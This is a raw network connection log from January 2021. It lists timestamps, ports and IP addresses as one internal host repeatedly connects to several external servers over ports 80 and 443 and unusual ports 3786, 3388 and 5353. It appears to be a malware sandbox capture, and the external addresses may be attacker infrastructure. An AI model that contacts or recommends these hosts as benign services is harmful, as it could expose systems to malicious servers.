Jan 20, 2021 16:14:31.312329054 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.312390089 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.313420057 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.313479900 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.314665079 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.314718008 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.318226099 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.318290949 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.319288015 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.319363117 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.325318098 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.325428963 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.326543093 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.326613903 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.327831030 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.329982996 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.330071926 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.331239939 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.331310987 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.335841894 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.335930109 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.336932898 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.337122917 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.341617107 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.341711998 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.341861963 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.341909885 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.344849110 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.346240044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.346297979 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.347871065 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.347924948 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.351042986 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.351129055 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.352165937 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.352242947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.355760098 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.355824947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.356837034 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.356904984 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.360529900 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.360626936 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.361670971 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.361721992 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.372139931 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.372243881 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.373202085 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.373267889 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.377047062 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.377123117 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.378187895 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.378247023 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.382504940 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.382561922 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.385699987 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.385763884 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.385782957 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.385843039 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.386801958 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.386862040 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.388253927 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.388324022 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.391551971 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.391629934 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.394175053 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.394279003 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.396692991 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.396783113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.397337914 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.397404909 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.398643017 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.401281118 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.401364088 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.402312040 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.402385950 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.414676905 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.414721012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.414846897 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.415642023 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.415730953 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.416837931 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.416995049 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.423633099 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.423845053 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.425045013 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.425143957 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.425870895 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.425931931 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.426954985 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.427017927 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.427397966 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.427449942 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.526402950 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.527961969 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.528119087 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.529628038 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.550004005 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.550045013 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.550108910 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.558192015 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.693500042 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.693602085 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.699385881 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.699520111 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.712861061 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.731282949 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.731307983 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.731368065 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.731385946 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.736566067 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.829101086 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.829196930 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.870579004 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.880784988 CET	49181	80	192.168.2.22	185.32.190.115
Jan 20, 2021 16:14:31.925069094 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.925550938 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.932624102 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.932773113 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.948384047 CET	80	49181	185.32.190.115	192.168.2.22
Jan 20, 2021 16:14:31.948864937 CET	49181	80	192.168.2.22	185.32.190.115
Jan 20, 2021 16:14:31.949980021 CET	49181	80	192.168.2.22	185.32.190.115
Jan 20, 2021 16:14:31.956584930 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:31.956628084 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:32.018673897 CET	80	49181	185.32.190.115	192.168.2.22
Jan 20, 2021 16:14:32.020127058 CET	80	49181	185.32.190.115	192.168.2.22
Jan 20, 2021 16:14:32.021213055 CET	49181	80	192.168.2.22	185.32.190.115
Jan 20, 2021 16:14:32.117564917 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:32.117717028 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:32.212462902 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:32.212483883 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:32.212650061 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:32.217700958 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:32.300641060 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:32.349551916 CET	443	49179	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:32.417021036 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:32.674674034 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:32.674702883 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:32.677522898 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:32.680877924 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:32.709232092 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:32.710760117 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:33.340740919 CET	49180	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:33.524107933 CET	3786	49180	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:33.789206028 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:34.083230019 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:34.093419075 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:34.093440056 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:34.093624115 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:34.179083109 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:34.218637943 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:34.346330881 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:34.346501112 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:34.442791939 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:34.473751068 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:34.473931074 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:34.570235014 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:34.591666937 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:34.591696978 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:34.591805935 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:35.837928057 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:35.838133097 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:36.098720074 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:36.098846912 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:36.390517950 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:36.390750885 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:36.425180912 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:36.559865952 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:36.560007095 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:36.578402996 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:36.589076042 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:36.682256937 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:36.719150066 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:36.719257116 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:36.758876085 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:36.846937895 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:36.847124100 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:37.023956060 CET	80	49181	185.32.190.115	192.168.2.22
Jan 20, 2021 16:14:37.024200916 CET	49181	80	192.168.2.22	185.32.190.115
Jan 20, 2021 16:14:37.102051020 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:37.102075100 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:37.102180004 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:37.102221012 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:37.151032925 CET	49183	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:37.274832964 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.274868965 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.275073051 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.275106907 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.278343916 CET	443	49183	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:37.375108004 CET	49182	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.381480932 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.606333971 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:37.666188002 CET	5353	49182	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.670392036 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.670495033 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.681113005 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.776043892 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:37.776169062 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:37.969568014 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.979532003 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.979558945 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:37.979651928 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:37.983234882 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:38.112870932 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:38.141860008 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:38.311861992 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:38.318819046 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:38.318840981 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:38.318949938 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:38.409641981 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:38.409804106 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:38.476279974 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:38.476387978 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:38.687057018 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:38.764739990 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:38.764801979 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:38.856631994 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:38.857178926 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:38.857238054 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:38.864865065 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:38.866940975 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:38.867185116 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:38.990303993 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:38.992537975 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:38.992639065 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.020298004 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.036406994 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.036561966 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.036576033 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.036636114 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:39.053466082 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:39.117710114 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.117804050 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.148085117 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.169614077 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.169637918 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.169684887 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.173417091 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.175132990 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.176044941 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.206163883 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.303518057 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.309623003 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.309720039 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.331029892 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.331058025 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.331186056 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.331304073 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.342031956 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.476573944 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:39.476707935 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:39.531632900 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.531662941 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.531785965 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:39.533441067 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:39.533977985 CET	49185	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:39.634251118 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:39.634279013 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:39.634399891 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:39.638834000 CET	49184	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:39.703315973 CET	3388	49185	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:39.739510059 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:39.910809040 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:39.922493935 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:39.922607899 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:39.923499107 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:39.926884890 CET	5353	49184	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:40.080666065 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.080774069 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.081486940 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.107528925 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:40.124535084 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:40.124557018 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:40.124610901 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:40.125823975 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:40.250948906 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.258173943 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.258193970 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.258332968 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.265125990 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.434617996 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.435219049 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.435314894 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.440504074 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.440655947 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.609855890 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.609934092 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:40.609982967 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:40.779459000 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:41.097625017 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:41.097661018 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:41.097702980 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:41.099853992 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:41.099877119 CET	49189	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:41.265908957 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.269701958 CET	3388	49189	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:41.448796988 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:41.448920965 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.449564934 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.632191896 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:41.648935080 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:41.648964882 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:41.649013042 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.649626017 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.654181957 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.669527054 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.843352079 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:41.843432903 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.848355055 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.848478079 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.857903957 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:41.857980967 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.861805916 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:41.861916065 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.041351080 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.041531086 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.044630051 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.044759035 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.080552101 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.084487915 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.224456072 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.224493980 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.227546930 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.227581978 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.593486071 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.593513966 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.593621969 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.593688011 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.595710039 CET	49188	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.597464085 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.597481012 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.597528934 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.597563028 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.600452900 CET	49190	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:42.778261900 CET	3786	49188	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.783279896 CET	3786	49190	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:42.811106920 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:42.857898951 CET	49192	443	192.168.2.22	194.225.58.214
